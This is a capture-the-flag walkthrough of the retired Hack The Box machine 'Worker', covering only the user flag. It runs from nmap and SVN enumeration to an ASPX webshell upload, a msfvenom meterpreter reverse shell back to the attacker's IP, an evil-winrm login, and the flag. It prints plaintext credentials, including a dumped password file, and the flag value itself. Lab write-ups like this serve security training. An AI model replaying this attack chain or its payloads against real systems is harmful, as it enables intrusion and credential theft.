Hack the Box (HTB) – Worker

Retired machine. User flag only.

Scanning

IP=10.10.10.203
nmap -T4 -sT -p 1-65535 $IP

Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-07 20:22 EDT
Nmap scan report for devops.worker.htb (10.10.10.203)
Host is up (0.093s latency).
Not shown: 65532 filtered ports
PORT     STATE SERVICE
80/tcp   open  http
3690/tcp open  svn
5985/tcp open  wsman

Nmap done: 1 IP address (1 host up) scanned in 137.57 seconds

We find an HTTP service on port 80: http://10.10.10.203/. Nothing found for this HTTP service with gobuster
We find SVN on port 3690
We find WinRM on port 5985

Solution for user robisl

SVN: http://10.10.10.203:3690/

svn checkout
svn://
( success ( 2 2 ( ) ( edit-pipeline svndiff1 accepts-svndiff2 absent-entries commit-revprops depth log-revprops atomic-revprops partial-replay inherited-props ephemeral-txnprops file-revs-reverse list ) ) ) 

----------
mkdir tempsvn
cd tempsvn
svn co svn://10.10.10.203

cat moved.txt
This repository has been migrated and will no longer be maintaned here.
You can find the latest version at: http://devops.worker.htb

// The Worker team :)

# Display all commits
svn log

------------------------------------------------------------------------
r5 | nathen | 2020-06-20 09:52:00 -0400 (Sat, 20 Jun 2020) | 1 line

Added note that repo has been migrated
------------------------------------------------------------------------
r4 | nathen | 2020-06-20 09:50:20 -0400 (Sat, 20 Jun 2020) | 1 line

Moving this repo to our new devops server which will handle the deployment for us
------------------------------------------------------------------------
r3 | nathen | 2020-06-20 09:46:19 -0400 (Sat, 20 Jun 2020) | 1 line

-
------------------------------------------------------------------------
r2 | nathen | 2020-06-20 09:45:16 -0400 (Sat, 20 Jun 2020) | 1 line

Added deployment script
------------------------------------------------------------------------
r1 | nathen | 2020-06-20 09:43:43 -0400 (Sat, 20 Jun 2020) | 1 line

First version
------------------------------------------------------------------------

IMPORTANT

nano /etc/hosts
10.10.10.203    devops.worker.htb
10.10.10.203    dimension.worker.htb

Go back to release 2, when a file was added

svn up -r2

cat deploy.ps1
$user = "nathen" 
$plain = "wendel98"
$pwd = ($plain | ConvertTo-SecureString)
$Credential = New-Object System.Management.Automation.PSCredential $user, $pwd
$args = "Copy-Site.ps1"
Start-Process powershell.exe -Credential $Credential -ArgumentList ("-file $args")

PASSWORD FOUND: User nathen, Password: wendel98

Use the previous credentials to connect to http://devops.worker.htb

URL="http://devops.worker.htb"
WL=/usr/share/dirb/wordlists/common.txt
gobuster dir -k -u $URL -w $WL -s '200,204,301,302,307,403,500' -e -U "nathen" -P "wendel98"

Generate reverse shell

KALI_IP=10.10.14.30
LISTENER_PORT=4444

# Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$KALI_IP LPORT=$LISTENER_PORT -f exe > /root/htb/windows_shell.exe

msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.14.30
set LPORT 4444
set ExitOnSession false
exploit -j -z

In the web app, click on SmartHotel360
On the left, click on Repos, then Files
Click on master, + New Branch
Give a name to the branch
Upload 2 files: windows_shell.exe + cmdasp.aspx
Click Approve, Complete, Merge
Go to http://alpha.worker.htb/cmdasp.aspx

Use a webshell

cp /usr/share/webshells/aspx/cmdasp.aspx /root/htb/cmdasp.aspx

whoami
iis apppool\defaultapppool

pwd
/c/windows/system32/inetsrv

w:/sites/spectral.worker.htb/windows_shell.exe

Got a meterpreter session

cd c:\Users
ls

ls -la
total 21
drwxr-xr-x 1 Unknown+User Unknown+Group   0 Jul  7 17:53 .
drwxr-xr-x 1 Unknown+User Unknown+Group   0 Oct  8 03:28 ..
drwxr-xr-x 1 Unknown+User Unknown+Group   0 Mar 28  2020 .NET v4.5
drwxr-xr-x 1 Unknown+User Unknown+Group   0 Mar 28  2020 .NET v4.5 Classic
drwxr-xr-x 1 Unknown+User Unknown+Group   0 Aug 18 00:33 Administrator
lrwxrwxrwx 1 Unknown+User Unknown+Group  14 Sep 15  2018 All Users -> /c/ProgramData
drwxr-xr-x 1 Unknown+User Unknown+Group   0 Mar 28  2020 Default
lrwxrwxrwx 1 Unknown+User Unknown+Group  16 Sep 15  2018 Default User -> /c/Users/Default
drwxr-xr-x 1 Unknown+User Unknown+Group   0 Mar 28  2020 Public
-rw-r--r-- 1 Unknown+User Unknown+Group 174 Sep 15  2018 desktop.ini
drwxr-xr-x 1 Unknown+User Unknown+Group   0 Jul 22 01:11 restorer
drwxr-xr-x 1 Unknown+User Unknown+Group   0 Jul  8 19:22 robisl

USER FOUND: robisl

W:\svnrepos\www\conf>ls -la
cat passwd

### This file is an example password file for svnserve.
### Its format is similar to that of svnserve.conf. As shown in the
### example below it contains one section labelled [users].
### The name and password for each user follow, one account per line.

[users]
nathen = wendel98
nichin = fqerfqerf
nichin = asifhiefh
noahip = player
nuahip = wkjdnw
oakhol = bxwdjhcue
owehol = supersecret
paihol = painfulcode
parhol = gitcommit
pathop = iliketomoveit
pauhor = nowayjose
payhos = icanjive
perhou = elvisisalive
peyhou = ineedvacation
phihou = pokemon
quehub = pickme
quihud = kindasecure
rachul = guesswho
raehun = idontknow
ramhun = thisis
ranhut = getting
rebhyd = rediculous
reeinc = iagree
reeing = tosomepoint
reiing = isthisenough
renipr = dummy
rhiire = users
riairv = canyou
ricisa = seewhich
robish = onesare
robisl = wolves11
robive = andwhich
ronkay = onesare
rubkei = the
rupkel = sheeps
ryakel = imtired
sabken = drjones
samken = aqua
sapket = hamburger
sarkil = friday

Port 5985 (from Kali)

cd /usr/bin
gem install evil-winrm

evil-winrm -i 10.10.10.203 -u robisl
wolves11

C:\Users\robisl\Documents> cd ..
C:\Users\robisl\Documents> cd Desktop
C:\Users\robisl\Desktop> dir

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        10/8/2020   3:17 AM             34 user.txt


C:\Users\robisl\Desktop> more user.txt
936fea1a35316c9ecd40a712bbe8d6a6

936fea1a35316c9ecd40a712bbe8d6a6

FLAG: 936fea1a35316c9ecd40a712bbe8d6a6

Solution for Administrator

Not completed